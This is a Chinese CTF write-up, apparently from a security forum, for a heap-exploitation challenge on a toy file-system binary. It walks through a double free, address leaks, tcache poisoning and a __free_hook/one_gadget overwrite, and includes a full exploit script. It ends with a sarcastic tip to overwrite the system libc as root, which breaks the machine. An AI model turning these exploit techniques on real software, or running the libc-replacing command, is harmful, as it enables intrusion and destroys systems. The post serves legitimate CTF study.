-
-
[原创]重新学了一遍搭建pwn环境
-
2021-12-1 23:13 12920
-
一年多没做pwn题,不但很多技巧都忘了,连pwn环境都找不到了。
首先分析出这是一个文件系统,里面有个主要的结构存储了文件和文件夹
1 2 3 4 5 6 7 8 9 10 11 | struct struc_Dir { int bIsFile; int field_4; struc_Dir * lpParent; struc_Dir * SubDirList[ 16 ]; char * pDirName; _BYTE * FileBuff; int BuffLen; int field_A4; }; |
里面提供了文件夹的增删改功能,其中最容易出逻辑bug的就是删除操作,特别是在子目录删除父目录后如何处理当前目录。本地测试时发现只要删除父目录,程序就崩溃,因为run调用了pwd,而pwd循环查找父目录时会调用NULL指针。
1 2 3 | write( 1 , &asc_555555555FC4[ 4 ], 1uLL ); pwd(); write( 1 , "$ " , 2uLL ); |
但是服务器上没有,不知道是不是修复了这个bug。
接着发现删除文件时仅仅释放文件内容,没有清空指针造成double free。连续删除两次文件后远程测试操作成功,本地ubuntu20.04直接报free的指针错误,说明漏洞存在。
double free加上write_to_file配合可以实现任意地址写,本来以为快要大功告成,结果在泄露各种地址时耽误了很长时间。
首先获取堆地址,通过分析堆结构发现删除home所在的区块后,通过再次分配给file的filebuff结构,可以很容易通过对应的file获取sysbuf下一个区块的指针,
1 2 3 4 | echo( "1" * 0xA8 , "file" ) cd( "a" ) rm( '../file' ) rm( '../file' ) |
然后利用echo通过修改最低字节的方式将该指针指向sysbuf中的合适位置,可以让新分配的Dir结构中lpParent放到sysbuf的最后,这样在echo中让sysbuf填满0x5000个可见字符,就可以通过
1 2 | v0 = strlen(sysbuf); write( 1 , sysbuf, v0); |
把lpParent指针输出。
这样的操作反复两次,就可以通过不同目录分别得到heap和root的地址。但是这里仍然缺少libc的指针。
中间走的弯路就是想利用username输出stdout的地址,因为通过修改filebuff可以任意地址写,所以只要把username填充修改至bss段,就可以通过下列语句输出
1 2 | v0 = strlen(username); write( 1 , username, v0); |
但是实操发现中间有个cwd指针,如果被填充则会导致接下来的pwd()报错,导致改方案不可行。
纠结是否要通过修改stdout的低位来间接修改libc的时候,突然想起填充tcache将libc地址放到堆中的方法,这样可以利用上面相同方法获取libc的地址。
最后将sysbuf指向free_hook前段,然后在free_hook写上one_gadget,随便删除一个文件就可以getshell了。
下面贴代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 | mkdir( "a" ) touch( "file" ) touch( "file2" ) touch( "file8" ) touch( "filea" ) touch( "fileb" ) touch( "filec" ) echo( "2" * 0xA8 , "file8" ) rm( 'home' ) echo( "1" * 0xA8 , "file" ) cd( "a" ) rm( '../file' ) rm( '../file' ) echo( "\x58" , "../file" ) # touch( "file3" ) mkdir( "b" ) echo( "A" * 50 , null) ls( "." ) echo( "A" * ( 0x5000 ), null) r.recvuntil( "A" * 0x5000 ) dst = u64(r.recv( 8 )) - 0x630a000000000000 heapbase = dst - 0x5460 print ( hex (heapbase)) echo( "1" * 0xA8 , "../file2" ) rm( '../file2' ) rm( '../file2' ) # echo(p64(heapbase + 0x5260 - 8 ), "../file2" ) cd( ".." ) touch( "file4" ) mkdir( "file5" ) echo( "B" * ( 0x5000 ), null) r.recvuntil( "B" * 0x5000 ) dst = u64(r.recv( 6 ) + p16( 0 )) elfbase = dst - 0x60 print ( hex (elfbase)) print ( hex (heapbase)) cd( "a" ) rm( '../file8' ) rm( '../file8' ) echo(p64(heapbase + 0x2A0 ), "../file8" ) #0x00005555557582A0 touch( "file8" ) touch( "file9" ) echo( "8" * 0x5000 , "../filea" ) echo( "a" * 0xd8 , "../fileb" ) echo( "a" * 0x25 , "../filec" ) rm( '../fileb' ) rm( '../fileb' ) rm( '../fileb' ) rm( '../fileb' ) rm( '../fileb' ) rm( '../fileb' ) rm( '../fileb' ) rm( '../fileb' ) echo(p64(heapbase + 0x5d10 ) + 'A' * 0x38 + p64( 1 ) + p64(heapbase + 0x5460 ) + p64( 0 ) * 0x10 + p64(heapbase + 0x5CD0 ) + p64(elfbase + 0x108 ) + p64( 0x10000 ), "file9" ) echo( "c" * ( 0x5000 ), null) r.recvuntil( "c" * 0x5000 ) dst = u64(r.recv( 6 ) + p16( 0 )) libcbase = dst - 0x3EBCA0 print ( hex (libcbase)) __free_hook = libcbase + 0x3ED8E8 echo(p64(__free_hook - 0x10 ), "file9" ) one_gadget = libcbase + 0x4f322 echo( 'A' * 0x10 + p64(one_gadget), "../filea" ) rm( '../fileb' ) |
最后附上一条替换libc的“好方法”,管理员权限下使用如下命令替换系统libc为你想使用的libc。
1 | mv '/lib/x86_64-linux-gnu/libc.so.6' '/lib/x86_64-linux-gnu/libc.so.6.old' && cp / home / ctf / binary / libc.so. 6 '/lib/x86_64-linux-gnu/libc.so.6' |
也许你会很惊喜的发现如下提示,然后 可以私信我获取解决办法
1 | cp: error while loading shared libraries: libc.so. 6 : cannot open shared object file : No such file or directory |
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界